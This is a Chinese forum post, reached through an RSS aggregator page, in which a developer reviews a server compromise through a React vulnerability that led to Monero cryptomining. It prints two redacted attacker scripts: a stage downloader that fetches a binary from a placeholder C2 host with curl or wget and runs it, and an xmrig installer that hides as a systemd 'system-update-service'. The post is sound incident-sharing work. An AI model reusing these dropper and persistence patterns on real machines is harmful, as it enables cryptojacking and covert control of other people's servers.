惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

罗磊的独立博客
Recent Announcements
Recent Announcements
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
有赞技术团队
有赞技术团队
J
Java Code Geeks
T
The Blog of Author Tim Ferriss
MyScale Blog
MyScale Blog
人人都是产品经理
人人都是产品经理
aimingoo的专栏
aimingoo的专栏
U
Unit 42
The GitHub Blog
The GitHub Blog
云风的 BLOG
云风的 BLOG
T
Tailwind CSS Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 三生石上(FineUI控件)
Apple Machine Learning Research
Apple Machine Learning Research
小众软件
小众软件
Hugging Face - Blog
Hugging Face - Blog
博客园 - 司徒正美
腾讯CDC
I
InfoQ
GbyAI
GbyAI
博客园_首页

V2EX

我用 AI 写代码,但终端管理反而成了累赘——于是我做了 codux [调研] 各位在公司都用什么 ide 和 agent 写代码? 老运维 share 一个运维平台 看到有公司考核 token 指标,很好奇大家上个月的 AI 账单是多少 GLM-Coding 调用持续报错: z.ai 的 Lite 套餐几乎无法使用,官方 Pro/Max 是否稳定? 现在还有什么渠道可以稳定安全地使用 Claude 吗? 上海漕河泾内推,本组有 2 个 hc,一个后端,一个前端,预算都是 20k 左右,不打卡,氛围好 如果 V2EX 上有一组不永久保存聊天记录(比如只保存 7 天或者 24 小时)的聊天室,那么会开启哪些有用或者有趣的可能? gemini cli 貌似挂了,一直返回 403 第一次在自媒体上赚到钱 收集了最近在使用的低价 GPT, Gemini,邮箱等 AI 会员的小店合集 讨论个大实话:现在企业还在说 AI 编程提效 20%, 30%的,真的太落后,没用懂 AI。因为包括很多前沿公司,已经狂奔到提效 200%-500%的情况 [招聘][远程][币安] 前端/后端/QA/iOS/Android 至少 3 年以上经验 目前有大量 HC 欢迎投递 Chatgpt Pro 用量用不完的可以开这些设置 面试的时候好像遇到钓鱼了,给各位避个坑 cursor 年续费 22 号到期, 自动续费是否还是老的计次套餐呢 被两件破事毁掉的一下午,琐碎的内耗消磨人的精力 使用 Planet 存储 Codex 的会话或者重要信息 如果业务部门领导不要你开发功能,而是要求你教会它用 claude code 开发功能,你会怎么做? 分享一个 MacOS 接绿联 CM818 USB 转 DP 转接器使用感受 我的 HR 朋友 10 年老 Java ,非全大专,大家帮忙看看简历 开源了一个 AI 口语练习工具,音素级发音评分,完全免费可自部署 V2EX 上有哪些你觉得很有趣、印象深刻的妹纸? 字节为啥不出个国内版 Vercel? 有在大马的朋友吗? 问个运营商问题 你们在有领导的公司大群发过的最大胆的消息是什么 公司裁员,目前没有工作。想试试摆摊,做一个移动鲜啤打酒车 我的硬盘 Memblaze Pblaze 5 Linux 下不识别,给 Linux 内核提交了补丁, AI 说有望被合并 只有我一个人觉得 codex 不好用?
React 漏洞中招,服务器被用来挖矿
cassiuschen · 2025-12-06 · via V2EX

早上收到阿里云短信,说有一台服务器被用来挖矿,排查发现哥们用漏洞来注入用于挖门罗币。 做开发 12 年了第一次遇到服务器被人搞,说实话还有点刺激还有点兴奋。

复盘一下经过,大家共赏:

1 、收到阿里云报警说有服务器用于挖矿

2 、阿里云后台定位到了大致的挖矿文件

阿里云报警

3 、上服务器一看

文件目录

好家伙确实多了不少东西,有两个核心的攻击脚本,一个是 python1.sh ,一个是 sex.sh ,直接脱敏后放出脚本大家共赏:

python1.sh

#!/bin/bash

# ========== 脱敏说明 ==========
# 1. 攻击者 IP/端口替换为[攻击者 C2 服务器 IP:端口]
# 2. 恶意程序随机文件名替换为[恶意程序随机文件名]
# 3. 下载/执行类恶意逻辑添加注释,仅保留结构
# 4. 核心攻击特征已标注,无任何可执行的恶意代码

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l64&stage=true"  # Linux x86_64 架构
l32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l32&stage=true"  # Linux x86 32 位架构
a64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a64&stage=true"  # ARM64 架构
a32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a32&stage=true"  # ARM32 架构

v="[恶意程序随机文件名]"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    # (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
    # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
    # (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
    # (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi

# chmod +x $v
# (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)

这个主要是为了下载第二层的恶意程序,从实际结果来看,恶意程序伪装成了 docker ,在 tmp 文件夹下跑,由于是二进制文件,目前还没有进一步查验它在做啥,不过大概率也是挖矿,因为看到了一个挖矿的 config 文件。

sex.sh

#!/bin/bash

# ========== 脱敏说明 ==========
# 1. 挖矿池地址/钱包 ID/TLS 指纹替换为占位符,无法用于实际挖矿;
# 2. 下载/解压/执行类恶意命令全部注释,仅保留攻击结构;
# 3. 服务器环境特征(如$(pwd))替换为占位符,避免溯源风险;

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"( 6.24.0 )
BINARY_PATH="[当前路径]/$EXTRACT_DIR/xmrig"
ARGS="--url [恶意挖矿池地址] --user [攻击者挖矿钱包 ID] --pass next --donate-level 0 --tls --tls-fingerprint [恶意 TLS 指纹]"
SERVICE_NAME="system-update-service"  

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    # curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    # tar xvzf "$TAR_FILE"
fi

# chmod +x "$BINARY_PATH"

# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
    echo "Root privileges detected. Attempting systemd setup..."
    
    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
    
    # cat <<EOF > "$SERVICE_FILE"
    # [Unit]
    # Description=System Update Service
    # After=network.target
    # 
    # [Service]
    # Type=simple
    # ExecStart=${BINARY_PATH} ${ARGS}
    # Restart=always
    # RestartSec=10
    # User=root
    # 
    # [Install]
    # WantedBy=multi-user.target
    # EOF

    # systemctl daemon-reload
    # systemctl enable "$SERVICE_NAME"
    # systemctl start "$SERVICE_NAME"
    
    if systemctl is-active --quiet "$SERVICE_NAME"; then
        echo "Service started via systemd."
        INSTALLED_SYSTEMD=1
    fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
    echo "Starting with nohup..."
    # nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi

是的你没看错,这个脚本甚至自带注释,甚至还 echo 了进度……不知道这个人从哪下的示例代码分发的……逻辑比较清晰,把挖矿程序伪装成系统服务。

4 、处理

由于感染的服务器是公司很边缘的、用于内部一些脑洞项目 poc 测试的小服务器,所以在权限管理上十分松懈,直接用 root 用户部署的各类小 Demo App ,导致这次漏洞也轻松的让攻击者获得了 root 权限,可能还替换了部分系统文件,机器肯定是不能留了……

下一步排查一下上面在跑的服务,备份数据,销毁重建。